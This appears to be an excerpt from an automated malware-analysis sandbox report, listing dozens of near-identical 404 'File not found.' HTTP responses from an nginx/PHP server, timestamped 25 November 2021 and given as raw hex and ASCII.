Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:09 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:10 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:11 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:11 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:12 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:13 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:14 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:14 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:15 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:16 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:16 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:17 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:18 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:18 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:19 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:20 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:20 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:21 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:22 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:22 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:23 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:24 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:24 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:25 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:26 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:26 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:27 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:27 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:28 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:29 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:29 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:30 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:30 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:31 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:32 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:32 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:33 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:34 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:34 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:35 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:35 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:36 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:37 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:37 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:38 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:38 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:39 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:39 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:40 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:41 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:41 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:42 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:42 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:43 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:43 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:44 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:45 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:45 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:46 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:46 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:47 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:47 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:48 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:49 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:49 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:50 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:50 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:51 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
